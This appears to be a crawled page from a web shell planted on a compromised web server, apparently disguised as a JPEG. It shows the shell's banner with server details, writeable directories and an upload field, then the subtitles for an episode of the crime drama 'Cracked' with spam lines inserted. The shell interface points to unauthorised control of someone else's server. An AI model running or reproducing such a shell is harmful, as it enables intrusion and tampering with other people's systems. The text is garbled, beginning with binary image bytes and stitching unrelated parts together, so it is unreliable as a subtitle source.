����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/vidoe.top/upload/subtitle/03-2019/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/vidoe.top/upload/subtitle/03-2019/5c86158eb6eff-1552291214.vtt
WEBVTT - https://subtitletools.com

00:00:05.479 --> 00:00:08.679
Science4me.net (Yeah, I'm doing awesome.
In the best shape of my life.)

00:00:08.680 --> 00:00:12.683
- You've been taking your pills?
- Yeah, sure I'm taking 'em.

00:00:12.684 --> 00:00:15.219
You seem kind of obsessed
with your body, Jonny.

00:00:15.220 --> 00:00:17.722
In the past it's been a sign
you're off your meds.

00:00:17.723 --> 00:00:20.691
Look, look, look.
It's good, right?

00:00:20.692 --> 00:00:23.526
Some guys take steroids.
I don't. I don't need it.

00:00:23.527 --> 00:00:25.762
I work it.

00:00:28.833 --> 00:00:31.735
- Feel that.
- No, thank you, Jonny.

00:00:31.736 --> 00:00:33.737
Yeah, do it.
Feel how hard I am.

00:00:33.738 --> 00:00:37.874
I said no thank you, and
you're making me uncomfortable.

00:00:43.046 --> 00:00:45.415
No, no, no. Maya, wait, wait.
Please, please don't go.

00:00:45.416 --> 00:00:48.351
Just stay, here. I wanna
show you something, all right?

00:00:48.352 --> 00:00:50.353
Look how hard I can punch,

00:00:50.354 --> 00:00:53.757
right? I can protect people.
I can protect you.

00:00:53.758 --> 00:00:57.493
There's bad guys out there, and
I'll kill 'em. No, wait, wait.

00:00:57.494 --> 00:00:59.996
Maya, I don't want you to leave.

00:00:59.997 --> 00:01:02.165
I know you don't,
but I'm leaving.

00:01:02.166 --> 00:01:04.167
Maya, just stay with me
a little, OK?

00:01:04.168 --> 00:01:07.636
- You could read to me.
- Goodbye, Jonny.

00:01:19.949 --> 00:01:22.351
- Hey, Stella.
- Hey, Maya.

00:01:22.352 --> 00:01:24.353
Sorry I missed your call.
Everything OK?

00:01:24.354 --> 00:01:27.756
I just left Jonny Franco's.
He is way off his meds.

00:01:27.757 --> 00:01:30.391
We need to get him back
on injections, like, tomorrow.

00:01:30.392 --> 00:01:32.160
And I'm gonna need backup.

00:01:32.161 --> 00:01:35.163
I don't have extra staff
tomorrow.

00:01:35.164 --> 00:01:37.899
Stella, he's pretty volatile.
I'm worried.

00:01:37.900 --> 00:01:40.001
OK, I'll call Randy.

00:01:40.002 --> 00:01:42.871
Thank you.
See you tomorrow.

00:01:42.872 --> 00:01:44.672
Bye, Maya.

00:01:49.911 --> 00:01:52.947
- Oh!
- We don't want you here.

00:01:52.948 --> 00:01:56.484
Miss! Hey!

00:01:56.485 --> 00:01:59.219
Hey! Miss!

00:02:03.325 --> 00:02:04.825
Hello?

00:02:04.826 --> 00:02:07.661
Hel... hello?

00:02:07.662 --> 00:02:10.330
Are you... are you OK?

00:02:18.806 --> 00:02:21.307
" I got out of bed today

00:02:21.308 --> 00:02:24.511
" Swear to God
I couldn't see my face "

00:02:24.512 --> 00:02:26.946
" I got out of bed today

00:02:26.947 --> 00:02:30.250
" Staring at a ghost

00:02:30.251 --> 00:02:33.086
" Oh, have you seen my ghost

00:02:33.087 --> 00:02:35.955
" Seen my ghost, seen my ghost

00:02:35.956 --> 00:02:38.691
" Oh, have you seen my ghost

00:02:38.692 --> 00:02:41.460
" Staring at the ground?

00:02:41.461 --> 00:02:43.126
" Na na na na na na na

00:02:43.127 --> 00:02:46.140
Cracked 02x07
Hideaway
Originally Aired November 18, 2013

00:02:50.537 --> 00:02:52.505
I got your text.
What's the story?

00:02:52.506 --> 00:02:54.507
A mental health worker was
murdered last night

00:02:54.508 --> 00:02:56.442
on her rounds.
Cause of death?

00:02:56.443 --> 00:02:58.644
Single blow to the head.
No weapons on scene,

00:02:58.645 --> 00:03:01.614
- no witnesses.
- This nurse, what was her name?

00:03:01.615 --> 00:03:03.783
Maya Henson.

00:03:03.784 --> 00:03:05.785
Oh, my god, Maya?

00:03:05.786 --> 00:03:07.953
Maya...

00:03:07.954 --> 00:03:11.356
You knew her?
Give us a minute.

00:03:13.643 --> 00:03:15.961
Leo, I'm sorry.

00:03:15.962 --> 00:03:17.662
Was... was she...

00:03:17.663 --> 00:03:19.664
No, there was no sign
of sexual assault.

00:03:19.665 --> 00:03:21.966
From what we can tell,
she died instantly.

00:03:23.836 --> 00:03:27.639
I mean, she was...
Maya was one of the best.

00:03:27.640 --> 00:03:30.642
So, you're thinking the killer
was one of her clients?

00:03:30.643 --> 00:03:32.644
She was case manager
for a number of clients

00:03:32.645 --> 00:03:35.480
with a history
of violence, so...

00:03:35.481 --> 00:03:38.215
Her husband, Brendan.
He know yet?

00:03:38.216 --> 00:03:40.217
He called in when she didn't
come home last night.

00:03:40.218 --> 00:03:43.154
I have a detective doing
the death notification now.

00:03:43.155 --> 00:03:45.522
This is gonna rip him apart.

00:03:45.523 --> 00:03:48.392
They've been together
since high school, and I'm...

00:03:48.393 --> 00:03:50.394
I was really good friends
with both of them.

00:03:50.395 --> 00:03:52.301
You wanna take a pass
on this one?

00:03:52.302 --> 00:03:57.367
No. I want to find out
who did this.

00:03:57.368 --> 00:04:00.370
Maya Henson, age 36.

00:04:00.371 --> 00:04:02.439
Worked out of
St. Stephen's.

00:04:02.440 --> 00:04:04.508
Jogger found the body
this morning.

00:04:04.509 --> 00:04:06.510
And the head wound is
the only injury?

00:04:06.511 --> 00:04:08.011
Uh, yeah.

00:04:08.012 --> 00:04:10.848
- We know what did it?
- Preliminary assessment says

00:04:10.849 --> 00:04:13.249
the weapon had heft
and a sharp point.

00:04:13.250 --> 00:04:16.219
Thank you. All right,
first thing we'll need is

00:04:16.220 --> 00:04:18.221
a list of her appointments
yesterday.

00:04:18.222 --> 00:04:20.223
I already asked her supervisor
to send it over.

00:04:20.224 --> 00:04:22.625
With the ones who live near
here at the top of the list.

00:04:22.626 --> 00:04:26.118
- Which, of course, you've already done.
- Problem is, her last

00:04:26.119 --> 00:04:28.347
appointment is nowhere
near here, nor is her house.

00:04:28.348 --> 00:04:31.720
Strange. This is a hard street
to find. Suburban maze.

00:04:31.721 --> 00:04:34.156
So, Maya Henson didn't end up
here by accident.

00:04:34.157 --> 00:04:36.058
What about the neighbours?
Have we started canvassing yet?

00:04:36.059 --> 00:04:38.160
- Yeah, uniforms are on it.
- All right.

00:04:38.161 --> 00:04:40.162
We need our own eyes out there.

00:04:40.163 --> 00:04:42.898
- Someone's seen this girl.
- I'll help.

00:04:42.899 --> 00:04:46.835
- Never done it.
- Yeah, good, you go with Poppy.

00:04:46.836 --> 00:04:49.437
Leo and I will work backward
from her appointment book.

00:04:49.438 --> 00:04:51.506
He's done her job; it'll be good
to have him with me.

00:04:51.507 --> 00:04:53.894
And away from here.

00:04:53.895 --> 00:04:58.327
www.ZooCine.CoM
Watch movies and Series!

00:05:00.349 --> 00:05:02.816
OK, we're just about done here.

00:05:02.817 --> 00:05:05.987
I got guys going both directions.
I'll call 'em, get you an update.

00:05:05.988 --> 00:05:08.812
No, that's OK. Dr. Malone and I are
gonna canvass this street again.

00:05:08.813 --> 00:05:11.425
What, you don't think your
dad's doing a good enough job?

00:05:11.426 --> 00:05:14.428
Just trying to do my job, Dad.

00:05:16.164 --> 00:05:18.198
Hey, how ya doin', sweetheart?
What's up?

00:05:18.199 --> 00:05:21.201
- Listen, Ray, we missed this street.
- What?

00:05:21.202 --> 00:05:23.637
I don't know
how the hell it happened.

00:05:23.638 --> 00:05:25.639
We're gonna have
to start all over.

00:05:25.640 --> 00:05:28.162
No, Ray, we've already done
that one already, OK?

00:05:28.163 --> 00:05:29.453
What we've got to do is this dead end

00:05:29.454 --> 00:05:31.678
over here; that's where we're
gonna go next, all right?

00:05:31.679 --> 00:05:33.780
That's OK. Dr. Malone
and I got this covered.

00:05:33.781 --> 00:05:35.782
We're doing it again.
OK, then, fancy pants.

00:05:35.783 --> 00:05:38.018
See you later.

00:05:38.019 --> 00:05:40.086
What the hell's a doctor
doing on a canvass?

00:05:40.087 --> 00:05:42.455
She gonna take
everybody's pulse?

00:05:45.359 --> 00:05:47.727
Maya called about Jonny,
but she seemed more concerned

00:05:47.728 --> 00:05:51.030
than upset.
Should I have done something?

00:05:51.031 --> 00:05:54.199
Jonny Franco didn't do it. He
spent the night with his mother.

00:05:54.200 --> 00:05:57.503
These are the rest
of her clients.

00:05:57.504 --> 00:06:00.339
Did Maya pay home visits
to anyone potentially violent?

00:06:00.340 --> 00:06:04.510
No. I mean, everyone's
potentially violent.

00:06:04.511 --> 00:06:07.346
Maya knew how to assess risk;
She was the best with

00:06:07.347 --> 00:06:09.848
the volatile ones.
How's Brendan?

00:06:09.849 --> 00:06:12.384
Have you talked to him?
He must be shattered.

00:06:12.385 --> 00:06:15.321
No, I haven't yet.

00:06:15.322 --> 00:06:17.722
How were things
between Maya and her husband?

00:06:17.723 --> 00:06:19.966
You know,
the usual ups and downs.

00:06:19.967 --> 00:06:22.594
What about her coworkers?
Did she do much socializing?

00:06:22.595 --> 00:06:26.431
- I'm not sure what you're asking.
- I'm asking if Maya had

00:06:26.432 --> 00:06:29.167
any other relationships
that we should know about.

00:06:29.168 --> 00:06:31.837
Aidan, Maya wasn't like that.

00:06:31.838 --> 00:06:33.371
Stella, was Maya seeing

00:06:33.372 --> 00:06:34.873
someone else?

00:06:34.874 --> 00:06:38.844
Look, your friend is
dead, Stella.

00:06:38.845 --> 00:06:41.545
Please help us find
who killed her.

00:06:41.546 --> 00:06:46.184
She told me things weren't
good with Brendan...

00:06:46.185 --> 00:06:49.153
hadn't been for a while.

00:06:49.154 --> 00:06:52.690
I... I think she was
seeing someone.

00:06:52.691 --> 00:06:56.560
Do you know who, Stella?
I mean, can you give us a name?

00:06:56.561 --> 00:07:00.865
I don't know.

00:07:00.866 --> 00:07:03.133
I don't like any of the
clients for it. I mean, they're

00:07:03.134 --> 00:07:05.402
not all alibied, but I think
this is about the affair.

00:07:05.403 --> 00:07:07.404
All right, well,
see what the husband knows.

00:07:07.405 --> 00:07:09.406
Brendan Dersh.
He's waiting for you.

00:07:09.407 --> 00:07:12.109
And, Aidan, I want Leo
to sit in on the interview.

00:07:12.110 --> 00:07:14.244
He's not gonna like
being used like that.

00:07:14.245 --> 00:07:17.347
If putting Leo into the interview makes
the husband think he's not a suspect,

00:07:17.348 --> 00:07:19.516
and gets us some answers,
that's what we do.

00:07:19.517 --> 00:07:22.585
You think it's about the affair?
Get me some proof.

00:07:25.723 --> 00:07:27.224
Where did it happen?

00:07:27.225 --> 00:07:29.225
She was found in Mimico.

00:07:29.226 --> 00:07:32.361
- Mimico?
- Yeah.

00:07:32.362 --> 00:07:35.765
- Did Maya know anybody out that way?
- No.

00:07:35.766 --> 00:07:38.400
So, what was she doing
out there?

00:07:42.305 --> 00:07:44.306
What are you not telling me?

00:07:44.307 --> 00:07:46.975
Mr. Dersh, we think
your wife was seeing someone,

00:07:46.976 --> 00:07:50.079
- possibly near where she was killed.
- But we don't know that

00:07:50.080 --> 00:07:52.515
- for a fact.
- Yes, you do.

00:07:52.516 --> 00:07:54.683
Who was it?

00:07:54.684 --> 00:07:57.653
Mr. Dersh,
maybe for right now

00:07:57.654 --> 00:08:00.189
you could just start by telling
us were you were last night.

00:08:00.190 --> 00:08:01.690
I was at a bar.

00:08:01.691 --> 00:08:03.692
- Were you with someone?
- No.

00:08:03.693 --> 00:08:06.294
- Did you talk to anyone?
- No!

00:08:10.800 --> 00:08:13.935
So, I guess that makes me
a suspect too.

00:08:19.175 --> 00:08:21.943
I went to bed early.
I didn't

00:08:21.944 --> 00:08:25.313
hear anything, not until the
police showed up this morning.

00:08:25.314 --> 00:08:27.826
You said she isn't
from around here?

00:08:27.827 --> 00:08:29.859
Never mind!
Have you got something to hide?!

00:08:29.860 --> 00:08:31.438
Is there something that you're
hiding in there?!

00:08:31.439 --> 00:08:33.121
You get a warrant, or you leave me
the hell alone.

00:08:33.122 --> 00:08:35.155
Let me inside this house!
You let me in!

00:08:35.156 --> 00:08:37.227
I told you an hour ago,
I don't want any cops in here.

00:08:37.228 --> 00:08:38.492
I don't care what you want!

00:08:38.493 --> 00:08:40.461
I'm sorry, I'm sorry,
excuse me...

00:08:40.462 --> 00:08:43.197
- Let go of me! Listen to me...
- Dad!

00:08:43.198 --> 00:08:47.969
Dad! It's Poppy! Stop it!

00:08:47.970 --> 00:08:50.004
Let's leave and go somewhere
we can talk, OK?

00:08:50.005 --> 00:08:52.005
Poppy, what are you doing here?

00:08:52.006 --> 00:08:54.040
Is it your mother?
Is there something wrong?

00:08:54.041 --> 00:08:57.677
Mom's gone, Dad.
Mom's gone. Come on.

00:08:57.678 --> 00:09:00.947
You know, I... I...

00:09:00.948 --> 00:09:04.418
Come on. Let's walk.
Let's go. Come on.

00:09:04.419 --> 00:09:06.386
I'm gonna take you home,
all right?

00:09:06.387 --> 00:09:08.387
Yeah. Yeah,
that's a good idea.

00:09:08.388 --> 00:09:11.290
Yeah. All right,
watch your head.

00:09:11.291 --> 00:09:13.092
Watch your foot.

00:09:14.962 --> 00:09:17.130
He's just tired. I'm gonna take
him home and come right back.

00:09:17.131 --> 00:09:20.133
Whatever is going on with your
father, a nap is not gonna fix it.

00:09:20.134 --> 00:09:23.136
Hey, I appreciate your concern, but
he's not your patient, all right?

00:09:23.137 --> 00:09:25.138
He's just been pulling
a lot of overtime.

00:09:25.139 --> 00:09:29.275
Poppy. You know it's more than that.
He needs to see a doctor.

00:09:29.276 --> 00:09:31.277
No, he can't.

00:09:31.278 --> 00:09:34.647
Please, if you report this,
he will lose his job.

00:09:36.350 --> 00:09:39.018
I have a friend -
a specialist.

00:09:39.019 --> 00:09:41.020
I'll see if she can do
an assessment.

00:09:41.021 --> 00:09:43.022
Unofficially.

00:09:43.023 --> 00:09:45.457
OK?

00:09:45.458 --> 00:09:47.259
OK.

00:10:23.006 --> 00:10:25.153
You still don't even know
his name,

00:10:25.154 --> 00:10:28.156
the man Maya was...
seeing?

00:10:28.157 --> 00:10:29.658
No, we don't,

00:10:29.659 --> 00:10:32.827
and we're not even sure if he's
responsible for her death.

00:10:32.828 --> 00:10:36.764
Whoever he is,
he isn't the first.

00:10:36.765 --> 00:10:39.234
What do you mean?

00:10:41.904 --> 00:10:45.440
Just before we got married,
Maya changed.

00:10:45.441 --> 00:10:47.442
I thought it was
cold feet at first.

00:10:47.443 --> 00:10:52.279
Looking back, I think there was
something going on then too.

00:10:54.115 --> 00:10:56.717
You were working with her
back then.

00:10:56.718 --> 00:10:58.518
Yeah.

00:11:00.221 --> 00:11:02.522
Anything you want to tell me?

00:11:07.963 --> 00:11:10.264
Say the words, Leo.

00:11:12.834 --> 00:11:14.635
It was me.

00:11:17.272 --> 00:11:19.273
Brendan...

00:11:19.274 --> 00:11:21.074
Don't you...

00:11:31.118 --> 00:11:33.620
Well, three down,
not one a contender.

00:11:33.621 --> 00:11:36.322
You really think you know
Maya's taste in men?

00:11:36.323 --> 00:11:38.992
You have your hunches,
I have mine.

00:11:38.993 --> 00:11:41.327
All right, next up,
Timothy Lawton.

00:11:41.328 --> 00:11:45.298
Oh, I remember him.
He's kinda cute in a nerdy way.

00:11:55.942 --> 00:11:57.442
Hello again.

00:11:57.443 --> 00:11:58.944
Hi. I'm Detective Aidan Black.

00:11:58.945 --> 00:12:01.380
You know Dr. Malone. Sorry
to have to bother you again.

00:12:01.381 --> 00:12:03.281
Oh, that's fine. You know,

00:12:03.282 --> 00:12:05.784
I just want things to get
back to normal around here.

00:12:05.785 --> 00:12:07.786
Do you mind if I ask what
normal is for you,

00:12:07.787 --> 00:12:09.787
- Mr. Lawton?
- Um, sure.

00:12:09.788 --> 00:12:11.456
I work mostly from home.

00:12:11.457 --> 00:12:13.992
I got an online business
in antiques

00:12:13.993 --> 00:12:16.028
and collectibles.
And Saturdays are

00:12:16.029 --> 00:12:19.464
my shopping days -
estate and garage sales.

00:12:19.465 --> 00:12:21.633
Early mornings.
Are you married?

00:12:21.634 --> 00:12:24.302
- No.
- Seeing anyone?

00:12:24.303 --> 00:12:28.139
No, I...
I don't get out much.

00:12:28.140 --> 00:12:30.508
What's that got to do
with anything?

00:12:30.509 --> 00:12:32.544
Well, we believe the victim,
Maya Henson,

00:12:32.545 --> 00:12:34.579
was visiting somebody
in this neighbourhood.

00:12:34.580 --> 00:12:38.449
You know, people often think that the
little things aren't worth mentioning,

00:12:38.450 --> 00:12:42.486
but if you saw anything, or heard anything
out of the ordinary, it could help.

00:12:42.487 --> 00:12:44.522
I really just mind
my own business.

00:12:44.523 --> 00:12:46.390
Is, uh, is there

00:12:46.391 --> 00:12:49.360
- anything else, or...?
- Yeah, if you don't mind,

00:12:49.361 --> 00:12:51.529
we'd like you to provide us
with a DNA sample.

00:12:51.530 --> 00:12:54.365
You're asking everyone?

00:12:54.366 --> 00:12:56.667
Of course. It's just
to eliminate suspects.

00:12:56.668 --> 00:12:59.202
Um...

00:12:59.203 --> 00:13:01.171
I want to help.

00:13:01.172 --> 00:13:04.908
But, uh, but with all the news
of wrongful convictions,

00:13:04.909 --> 00:13:07.044
you know, I mean, what if
the samples got mislabelled?

00:13:07.045 --> 00:13:09.179
That won't happen.
We'll cross you off the list

00:13:09.180 --> 00:13:11.181
and destroy the sample
when we close the case.

00:13:11.182 --> 00:13:15.718
Still, I think I should talk to a
lawyer before I agree to that.

00:13:15.719 --> 00:13:18.754
Completely understand.
That's your right.

00:13:18.755 --> 00:13:22.057
You have yourself a good afternoon.
Thank you.

00:13:26.597 --> 00:13:28.965
You didn't ask anyone else
for a sample.

00:13:28.966 --> 00:13:31.301
No one got me curious enough
to see if they'd say no.

00:13:31.302 --> 00:13:34.804
I'll have Poppy check him out.

00:13:34.805 --> 00:13:36.305
Everything OK?

00:13:36.306 --> 00:13:39.642
Yeah. I need you
to drop me off at St. Stephen's.

00:13:39.643 --> 00:13:42.111
There's something I gotta do.

00:13:43.981 --> 00:13:47.616
Mr. Wisnefski, can you tell me
which one of these is a tool?

00:13:51.921 --> 00:13:54.188
Well...

00:13:59.562 --> 00:14:02.764
OK. Now,
which is a utensil?

00:14:02.765 --> 00:14:06.567
Well...

00:14:06.568 --> 00:14:08.069
Shit!

00:14:08.070 --> 00:14:12.273
This gets out, my father's
30-year career is over,

00:14:12.274 --> 00:14:13.775
thanks to you.

00:14:13.776 --> 00:14:16.945
Poppy, your father is
showing signs

00:14:16.946 --> 00:14:19.280
of advancing dementia.

00:14:19.281 --> 00:14:21.682
If he makes a serious mistake
on the job,

00:14:21.683 --> 00:14:26.454
if someone gets hurt,
imagine the consequences.

00:14:26.455 --> 00:14:28.789
Look, I know you were worried
about him too.

00:14:28.790 --> 00:14:30.958
- I could see it on your face.
- No, I didn't know!

00:14:30.959 --> 00:14:34.862
And this test doesn't mean
anything. He's good at his job.

00:14:34.863 --> 00:14:38.261
What the hell is going on here?
Is this your doing?

00:14:38.262 --> 00:14:40.834
- She said he needed an assessment.
- What?

00:14:40.835 --> 00:14:42.335
You're Vince's partner.

00:14:42.336 --> 00:14:44.972
You must have known
about his condition.

00:14:48.409 --> 00:14:52.412
Look, all I know is the guy's
got eight months to go

00:14:52.413 --> 00:14:54.581
before he can retire
with his head held up high.

00:14:54.582 --> 00:14:57.250
You take that away from him,
you are gonna kill him.

00:14:57.251 --> 00:15:00.253
- He's a danger on the job.
- I have it under control!

00:15:00.254 --> 00:15:03.389
From where I'm standing,
no, you don't.

00:15:18.672 --> 00:15:20.673
Are these the suspects
from near the scene?

00:15:20.674 --> 00:15:23.475
- Yeah.
- Who do you like?

00:15:23.476 --> 00:15:26.846
This guy. Tim Lawton.

00:15:26.847 --> 00:15:29.315
- We have any proof?
- He's single,

00:15:29.316 --> 00:15:32.084
he lives near
where we found the body, but...

00:15:32.085 --> 00:15:34.620
mostly, I just don't like him.

00:15:34.621 --> 00:15:36.788
Do we have enough for a warrant?

00:15:36.789 --> 00:15:39.491
Not yet.

00:15:39.492 --> 00:15:42.394
Mr. Dersh.
How can I help you?

00:15:42.395 --> 00:15:44.295
I have something to tell you.

00:15:46.833 --> 00:15:50.769
- What's this?
- Jewelry. Maya kept bringing home all this

00:15:50.770 --> 00:15:53.105
new stuff
over the last few weeks...

00:15:53.106 --> 00:15:56.842
said she got it from an online collector.
But the thing is, when I checked

00:15:56.843 --> 00:16:01.212
her credit card statement,
there was only one purchase.

00:16:01.213 --> 00:16:03.948
So, maybe you can tell me
where she got the rest.

00:16:03.949 --> 00:16:06.117
Where did she buy
the first one from?

00:16:06.118 --> 00:16:09.020
Lawton Antiquities.

00:16:23.268 --> 00:16:25.569
Mr. Lawton,
it's the police!

00:16:28.606 --> 00:16:32.576
Mr. Lawton, I have a warrant to
conduct a search of the premises!

00:16:34.945 --> 00:16:36.746
OK, open it up.

00:16:47.392 --> 00:16:49.326
I walked through
the whole house. It's

00:16:49.327 --> 00:16:52.262
beyond neat, like he doesn't
really live here.

00:16:52.263 --> 00:16:54.264
These are the only signs
of life, and they're all

00:16:54.265 --> 00:16:58.101
to sell to other people.
No art of his own,

00:16:58.102 --> 00:17:00.469
no plants, no family photos.

00:17:00.470 --> 00:17:03.673
You see his clothes?
All identical.

00:17:03.674 --> 00:17:06.109
This guy lives for control.

00:17:07.811 --> 00:17:09.812
It's like he's playing a part,

00:17:09.813 --> 00:17:12.981
keeping up appearances.

00:17:12.982 --> 00:17:15.518
All these curtains closed...

00:17:15.519 --> 00:17:17.853
You think we spooked him before?

00:17:17.854 --> 00:17:19.588
Has he run?

00:17:19.589 --> 00:17:21.657
Maybe, but there's no sign

00:17:21.658 --> 00:17:23.926
that Maya was ever
inside the house.

00:17:23.927 --> 00:17:26.761
No sign
of a murder weapon, no...

00:17:26.762 --> 00:17:29.597
- What?
- Look.

00:17:29.598 --> 00:17:32.801
- One's missing.
- The poker.

00:17:32.802 --> 00:17:34.803
What was the prelim
on the murder weapon?

00:17:34.804 --> 00:17:37.605
Something with heft and a sharp point?
So, where is it?

00:17:37.606 --> 00:17:40.008
Good question.

00:18:01.029 --> 00:18:03.330
Where does this second wire go?

00:18:14.242 --> 00:18:16.376
This is interesting.

00:18:18.747 --> 00:18:20.247
Huh.

00:18:20.248 --> 00:18:23.550
I don't have a good feeling
about this.

00:18:41.835 --> 00:18:44.737
Hey.

00:18:44.738 --> 00:18:47.039
What's your name?

00:19:15.119 --> 00:19:17.420
Is it too bright?

00:19:28.492 --> 00:19:30.315
Do you remember me?

00:19:30.888 --> 00:19:32.902
I'm Dr. Malone.

00:19:32.903 --> 00:19:35.704
Can you tell me your name?

00:19:39.180 --> 00:19:42.978
I realize this must be
overwhelming for you.

00:19:44.747 --> 00:19:47.449
Are you frightened?

00:19:49.119 --> 00:19:51.120
You're safe.

00:19:51.121 --> 00:19:53.922
The man who locked you up
can't get you here.

00:19:57.794 --> 00:19:59.995
It's just to protect you.

00:19:59.996 --> 00:20:01.830
Where is he?

00:20:01.831 --> 00:20:05.100
We don't know
where Tim Lawton is.

00:20:05.101 --> 00:20:07.102
But we'll find him.

00:20:07.103 --> 00:20:09.905
He's safe?

00:20:11.974 --> 00:20:13.642
Thank you.

00:20:13.643 --> 00:20:15.943
Thank you, thank you, thank you.

00:20:25.688 --> 00:20:29.457
- Any progress with the name?
- Well, we know she's not a relative,

00:20:29.458 --> 00:20:32.236
so we're looking at missing girls
to see if we can find a match.

00:20:32.237 --> 00:20:35.029
She's malnourished, basically
living in a prison cell.

00:20:35.030 --> 00:20:38.466
- Why does she even care about his safety?
- Stockholm Syndrome?

00:20:38.467 --> 00:20:42.604
Possibly.
Her survival, her identity,

00:20:42.605 --> 00:20:44.939
would all have been linked
to Tim Lawton.

00:20:44.940 --> 00:20:47.274
Yeah, like kids who were
abused and still love the adults

00:20:47.275 --> 00:20:49.043
who were abusing them.

00:20:49.044 --> 00:20:51.946
This girl couldn't risk
alienating the only person

00:20:51.947 --> 00:20:53.647
she had in her life, so

00:20:53.648 --> 00:20:56.751
she formed an attachment
that will be very hard to break.

00:20:56.752 --> 00:20:59.019
How long does it take
to create that kind of bond?

00:20:59.020 --> 00:21:01.688
It can take as little
as a few days,

00:21:01.689 --> 00:21:05.058
but this girl's body language
and mistrust of others

00:21:05.059 --> 00:21:08.027
makes me think that she's been
isolated much longer than that.

00:21:08.028 --> 00:21:10.731
- Might help with IDing her.
- Mm-hmm.

00:21:10.732 --> 00:21:12.733
Well, I've narrowed it down
to nine girls matching

00:21:12.734 --> 00:21:15.106
her general description, missing
two to six years.

00:21:15.107 --> 00:21:16.503
Six years...

00:21:16.504 --> 00:21:18.639
All right, good news:

00:21:18.640 --> 00:21:20.940
We have someone who may be able
to identify the girl...

00:21:20.941 --> 00:21:23.041
the family's lawyer.

00:21:23.042 --> 00:21:26.044
Isabelle Saunders, 19.
Abducted on her way home

00:21:26.045 --> 00:21:28.046
from school in Brantford
four years ago.

00:21:28.047 --> 00:21:30.515
Her parents are understandably
eager to see her.

00:21:30.516 --> 00:21:33.518
- What makes you so sure it's her?
- Left kneecap, shaped like a U.

00:21:33.519 --> 00:21:36.190
It's in the description
you've been circulating.

00:21:36.191 --> 00:21:39.158
Even if this girl is
who you say she is,

00:21:39.159 --> 00:21:42.193
she's a key individual in the
investigation of Maya Henson's murder.

00:21:42.194 --> 00:21:45.263
This girl has spent years
in captivity.

00:21:45.264 --> 00:21:48.099
God knows what kind of
psychological and physical abuse

00:21:48.100 --> 00:21:50.602
she's suffered. Finally,
the police stumble upon her...

00:21:50.603 --> 00:21:53.471
completely by accident,
by the way - and now what?

00:21:53.472 --> 00:21:56.573
- Now you want to implicate her in a crime?
- We just want to talk to her.

00:21:56.574 --> 00:21:58.575
What I hear from the hospital
staff is she's half catatonic.

00:21:58.576 --> 00:22:01.946
You want to talk to her, fine, but
when she is ready and not before.

00:22:01.947 --> 00:22:04.949
- It's a little more complicated than that.
- Fire away. I love complicated.

00:22:04.950 --> 00:22:07.484
The girl was found in
possession of the murder weapon.

00:22:07.485 --> 00:22:10.321
She'd drawn a picture
of the body.

00:22:10.322 --> 00:22:12.456
Oh. Oh, OK, I got it.

00:22:12.457 --> 00:22:14.658
So, Isabelle somehow

00:22:14.659 --> 00:22:17.661
magically killed a woman
from behind a locked door.

00:22:17.662 --> 00:22:19.663
The point is, we don't know.
And when we don't know,

00:22:19.664 --> 00:22:22.132
we act in the interest
of protecting everyone.

00:22:22.133 --> 00:22:24.401
Inspector Caligra,

00:22:24.402 --> 00:22:26.437
you really don't want headlines
about how you're

00:22:26.438 --> 00:22:28.439
re-victimizing
a traumatized girl.

00:22:28.440 --> 00:22:32.275
We don't care about headlines.
This is our call.

00:22:32.276 --> 00:22:34.644
No, she's right, Aidan.

00:22:34.645 --> 00:22:37.447
Holding her would look terrible.

00:22:37.448 --> 00:22:42.252
All I want is to have Isabelle
released to her family.

00:22:42.253 --> 00:22:44.921
They've been waiting a long time
to see their daughter again.

00:22:44.922 --> 00:22:48.157
You can talk to her
all you want, but first she has

00:22:48.158 --> 00:22:49.959
to go home.

00:22:54.598 --> 00:22:56.632
All those years
in that basement,

00:22:56.633 --> 00:22:59.034
the sensory overload alone
must be crippling.

00:22:59.035 --> 00:23:02.204
- She's not ready for this.
- Neither are they.

00:23:02.205 --> 00:23:06.275
The whole family is gonna
need counselling.

00:23:06.276 --> 00:23:08.777
But she's not
diagnosably mentally ill,

00:23:08.778 --> 00:23:11.180
and her family wants her
released, so,

00:23:11.181 --> 00:23:14.082
unless you want to arrest her...

00:23:16.953 --> 00:23:20.822
I'll get 24-hour surveillance
put on her house.

00:23:29.632 --> 00:23:32.701
Hey, it's my little girl.

00:23:34.404 --> 00:23:35.970
How was school today?

00:23:35.971 --> 00:23:37.738
Relax,

00:23:37.739 --> 00:23:40.241
I'm just messing with you.
I'm fine - for now.

00:23:40.242 --> 00:23:42.710
Oh, yeah, that's hilarious.
You're real funny, Dad.

00:23:42.711 --> 00:23:48.216
Listen, I am doing everything
I can to fix this. OK?

00:23:50.419 --> 00:23:52.420
I don't think so. I...

00:23:52.421 --> 00:23:54.922
I talked to the shrink.
I know what I've got.

00:23:54.923 --> 00:23:58.926
No, so, we'll find
another doctor, right?

00:23:58.927 --> 00:24:01.261
OK, look... look at you.

00:24:01.262 --> 00:24:05.399
You are totally fine right now.
So, you go to your sergeant,

00:24:05.400 --> 00:24:09.236
right, you ask for a desk job, you
tell him you want a desk job,

00:24:09.237 --> 00:24:11.438
and you coast through the next
eight months, no problem.

00:24:11.439 --> 00:24:12.772
Poppy. Poppy.

00:24:12.773 --> 00:24:14.774
No, we need to fight this,
Dad. This is not right...

00:24:14.775 --> 00:24:17.610
Poppy!

00:24:17.611 --> 00:24:20.613
I've been fighting this,
you know?

00:24:20.614 --> 00:24:24.417
For a long time.
Ray's been helping me.

00:24:26.454 --> 00:24:28.187
I'm just not winning.

00:24:28.188 --> 00:24:29.856
Dad...

00:24:29.857 --> 00:24:33.125
Like... like I...

00:24:33.126 --> 00:24:36.629
I always tell the rookies,
you know, if... if...

00:24:36.630 --> 00:24:41.000
if you can't do the job right,
then just don't do it.

00:24:44.904 --> 00:24:47.239
If I can accept this,

00:24:47.240 --> 00:24:49.908
so can you.

00:24:49.909 --> 00:24:50.444
Right?

00:24:50.445 --> 00:24:53.245
Right?

00:24:53.246 --> 00:24:55.247
- Tell me.
- OK.?

00:24:55.248 --> 00:24:57.583
OK, dad.

00:24:57.584 --> 00:25:00.385
That's my girl.
That's my girl.

